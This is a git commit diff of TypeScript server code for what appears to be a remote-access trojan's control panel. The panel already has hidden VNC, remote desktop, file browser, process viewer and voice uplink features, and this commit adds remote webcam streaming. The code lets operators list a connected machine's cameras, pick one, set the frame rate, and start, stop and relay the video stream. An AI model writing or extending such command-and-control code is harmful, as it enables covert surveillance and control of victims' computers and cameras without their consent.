This commit is contained in:
KingKDot
2026-03-08 22:31:11 -05:00
parent 6c05960400
commit 78a79ea3e1
27 changed files with 1352 additions and 12 deletions
@@ -88,6 +88,30 @@ export async function handlePageRoutes(
}
}
if (req.method === "GET" && url.pathname === "/webcam") {
const user = await authenticateRequest(req);
if (!user) {
return serveLoginOrUnauthorized(deps);
}
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
if (maybeChange) return maybeChange;
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = (url.searchParams.get("clientId") || "").trim();
if (!canAccessClientPage(user.userId, user.role, clientId)) {
return new Response("Forbidden: Client access denied", { status: 403 });
}
const file = Bun.file(`${deps.PUBLIC_ROOT}/webcam.html`);
if (await file.exists()) {
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("webcam.html")) });
}
}
if (req.method === "GET" && url.pathname === "/hvnc") {
const user = await authenticateRequest(req);
if (!user) {
@@ -29,9 +29,11 @@ type WsLifecycleDeps = {
pendingCommandReplies: Map<string, PendingCommandReply>;
rdStreamingState: Map<string, unknown>;
hvncStreamingState: Map<string, unknown>;
webcamStreamingState: Map<string, unknown>;
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number };
handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleWebcamViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleHVNCViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleFileBrowserViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
@@ -41,6 +43,7 @@ type WsLifecycleDeps = {
handleNotificationViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleConsoleViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleRemoteDesktopViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleWebcamViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleHVNCViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleFileBrowserViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
@@ -67,6 +70,7 @@ type WsLifecycleDeps = {
handlePluginEvent: (clientId: string, payload: any) => void;
handleNotification: (clientId: string, payload: any) => void;
handleVoiceUplink: (clientId: string, payload: any) => void;
handleWebcamDevices: (clientId: string, payload: any) => void;
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
@@ -82,6 +86,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
const ip = ws.data.ip;
if (role === "console_viewer") return deps.handleConsoleViewerOpen(ws);
if (role === "rd_viewer") return deps.handleRemoteDesktopViewerOpen(ws);
if (role === "webcam_viewer") return deps.handleWebcamViewerOpen(ws);
if (role === "hvnc_viewer") return deps.handleHVNCViewerOpen(ws);
if (role === "file_browser_viewer") return deps.handleFileBrowserViewerOpen(ws);
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
@@ -140,6 +145,7 @@ export function handleWebSocketMessage(
const socketRole = ws.data.role as string;
if (socketRole === "console_viewer") return deps.handleConsoleViewerMessage(ws, message);
if (socketRole === "rd_viewer") return deps.handleRemoteDesktopViewerMessage(ws, message);
if (socketRole === "webcam_viewer") return deps.handleWebcamViewerMessage(ws, message);
if (socketRole === "hvnc_viewer") return deps.handleHVNCViewerMessage(ws, message);
if (socketRole === "file_browser_viewer") return deps.handleFileBrowserViewerMessage(ws, message);
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
@@ -285,6 +291,9 @@ export function handleWebSocketMessage(
case "voice_uplink":
deps.handleVoiceUplink(info.id, payload);
break;
case "webcam_devices":
deps.handleWebcamDevices(info.id, payload);
break;
default:
break;
}
@@ -332,6 +341,26 @@ export function handleWebSocketClose(
return;
}
if (role === "webcam_viewer") {
let removedClientId = clientId;
for (const [sid, sess] of sessionManager.getAllWebcamSessions().entries()) {
if (sess.viewer === ws) {
removedClientId = sess.clientId;
sessionManager.getAllWebcamSessions().delete(sid);
break;
}
}
const stillViewing = Array.from(sessionManager.getAllWebcamSessions().values()).some((s) => s.clientId === removedClientId);
if (!stillViewing) {
const target = clientManager.getClient(removedClientId);
deps.sendDesktopCommand(target, "webcam_stop", {});
deps.webcamStreamingState.delete(removedClientId);
logger.debug(`[webcam] cleaned up state for client ${removedClientId}`);
}
return;
}
if (role === "hvnc_viewer") {
let removedClientId = clientId;
for (const [sid, sess] of sessionManager.getAllHvncSessions().entries()) {
@@ -91,6 +91,24 @@ export async function handleWsUpgradeRoutes(
return new Response("Upgrade failed", { status: 500 });
}
const webcamMatch = url.pathname.match(/^\/api\/clients\/(.+)\/webcam\/ws$/);
if (webcamMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = webcamMatch[1];
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "webcam_viewer", clientId, ip, userRole: user.role } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
const fbMatch = url.pathname.match(/^\/api\/clients\/(.+)\/files\/ws$/);
if (fbMatch) {
const user = await authenticateRequest(req);
@@ -194,7 +194,7 @@ export function handleRemoteDesktopViewerOpen(ws: ServerWebSocket<SocketData>) {
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
return;
}
safeSendViewer(ws, { type: "status", status: "connecting", sessionId });
safeSendViewer(ws, { type: "status", status: "online", sessionId });
}
export function notifyRemoteDesktopStatus(clientId: string, status: string, reason?: string) {
@@ -385,6 +385,86 @@ function handleRemoteDesktopFrame(payload: any) {
};
export const hvncStreamingState = new Map<string, { isStreaming: boolean; display: number; quality: number; codec: string }>();
export const webcamStreamingState = new Map<string, { isStreaming: boolean; deviceIndex: number; fps: number; useMax: boolean }>();
export function handleWebcamViewerOpen(ws: ServerWebSocket<SocketData>) {
const { clientId } = ws.data;
const sessionId = uuidv4();
const target = clientManager.getClient(clientId);
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
sessionManager.getAllWebcamSessions().set(sessionId, session);
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
if (!target) {
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
return;
}
safeSendViewer(ws, { type: "status", status: "online", sessionId });
sendDesktopCommand(target, "webcam_list", {});
}
export function handleWebcamDevices(clientId: string, payload: any) {
for (const session of sessionManager.getAllWebcamSessions().values()) {
if (session.clientId !== clientId) continue;
safeSendViewer(session.viewer, payload);
}
}
export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
const payload = decodeViewerPayload(raw);
if (!payload || typeof payload.type !== "string") return;
const { clientId } = ws.data;
const target = clientManager.getClient(clientId);
if (!target) {
safeSendViewer(ws, { type: "status", status: "offline" });
return;
}
const state = webcamStreamingState.get(clientId) || { isStreaming: false, deviceIndex: 0, fps: 30, useMax: false };
switch (payload.type) {
case "webcam_list":
sendDesktopCommand(target, "webcam_list", {});
break;
case "webcam_select": {
const index = Math.max(0, Number(payload.index) || 0);
state.deviceIndex = index;
webcamStreamingState.set(clientId, state);
sendDesktopCommand(target, "webcam_select", { index });
if (state.isStreaming) {
sendDesktopCommand(target, "webcam_stop", {});
sendDesktopCommand(target, "webcam_start", {});
}
break;
}
case "webcam_set_fps": {
if (state.isStreaming) {
safeSendViewer(ws, { type: "status", status: "error", reason: "Stop stream before changing FPS" });
break;
}
const fps = Math.max(1, Math.min(120, Number(payload.fps) || 30));
const useMax = !!payload.useMax;
state.fps = fps;
state.useMax = useMax;
webcamStreamingState.set(clientId, state);
sendDesktopCommand(target, "webcam_set_fps", { fps, useMax });
break;
}
case "webcam_start":
if (!state.isStreaming) {
sendDesktopCommand(target, "webcam_set_fps", { fps: state.fps, useMax: state.useMax });
sendDesktopCommand(target, "webcam_start", {});
state.isStreaming = true;
webcamStreamingState.set(clientId, state);
}
break;
case "webcam_stop":
sendDesktopCommand(target, "webcam_stop", {});
state.isStreaming = false;
webcamStreamingState.set(clientId, state);
break;
default:
break;
}
}
export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
const { clientId } = ws.data;
@@ -518,6 +598,16 @@ export function sendHVNCCommand(target: ClientInfo, commandType: string, payload
return sent;
};
(globalThis as any).__webcamBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
let sent = false;
for (const session of sessionManager.getAllWebcamSessions().values()) {
if (session.clientId !== clientId) continue;
safeSendViewerFrame(session.viewer, bytes, header);
sent = true;
}
return sent;
};
const textDecoder = new TextDecoder();
export function handleConsoleViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {